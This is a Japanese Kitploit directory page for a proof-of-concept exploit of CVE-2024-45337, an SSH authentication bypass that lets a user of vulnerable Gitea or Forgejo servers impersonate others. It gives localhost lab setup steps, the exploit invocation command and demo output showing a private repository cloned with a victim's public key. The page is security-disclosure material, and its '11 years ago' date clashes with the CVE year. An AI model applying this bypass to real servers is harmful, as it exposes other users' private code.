Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-45337 — Gitea および Forgejo に対する CVE-2024-45337 の概念実証 | Kitploit
ツール/GitHubGitHub/peace-maker/cve-2024-45337
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証
GitHubpeace-maker/cve-2024-45337

CVE-2024-45337

Gitea および Forgejo に対する CVE-2024-45337 の概念実証

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-45337 の概念実証エクスプロイト

このリポジトリには、CVE-2024-45337 の概念実証エクスプロイトが含まれています。 これは、golang.org/x/crypto <= v0.30.0 を使用して実装され、ServerConfig.PublicKeyCallback コールバック内で権限を安全でない方法でキャッシュしている SSH サーバーとやり取りする際に、ssh をラップするために使用できます。

Gitea <= 1.22.4 および Forgejo <= 7.0.11、9.0.2 は、内部 SSH サーバーを使用してホストされている場合に脆弱です。対象アカウントに関連付けられた公開鍵を 1 つでも知っていれば、任意のユーザーになりすますことができます。ssh 認証に使用する自分のアカウントが必要です。

PoC の実行

  1. 脆弱な forgejo または gitea インスタンスを起動します。Gitea Docker イメージは脆弱ではないため、ネイティブバイナリで実行する必要があります。
root@kitploit:~
docker compose -f docker-compose.forgejo.yml up -d
  1. http://localhost:3000 で SSH ポートを 22 に変更してインストールします
  2. victim ユーザーを登録します
    1. http://localhost:3000/user/settings/keys で victim の公開鍵をアカウントに追加します
    2. important_repo という名前のプライベートリポジトリを作成し、README 付きの初期コミットを生成して、クローンできるようにします
  3. attacker ユーザーを登録します
    1. http://localhost:3000/user/settings/keys で attacker の公開鍵をアカウントに追加します
  4. attacker のアカウントを使用してリポジトリをクローンします
    1. GIT_ATTACK_PRIVKEY に有効なアカウントの秘密鍵へのパスを設定します
    2. GIT_ATTACK_PUBKEY に、対象となる別アカウントの既知の公開鍵へのパスを設定します。そのアカウントの秘密鍵は不明です。
    3. GIT_SSH にエクスプロイトスクリプトへのパスを設定して、git がネイティブの ssh コマンドの代わりにこれを使用するように指示します
root@kitploit:~
GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git

デモ

クローン時に鍵を指定するには .ssh/config を使用します

root@kitploit:~
Host sshvictim
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_victim
 IdentitiesOnly yes
Host sshattacker
 Hostname localhost
 Port 222
 User git
 IdentityFile /path/to/id_ed25519_attacker
 IdentitiesOnly yes

上記のようにセットアップしたローカルの Forgejo 7.0.11 コンテナに対して実行します。

root@kitploit:~
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.

# Delete private key of victim for demo purposes
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
ツールをダウンロード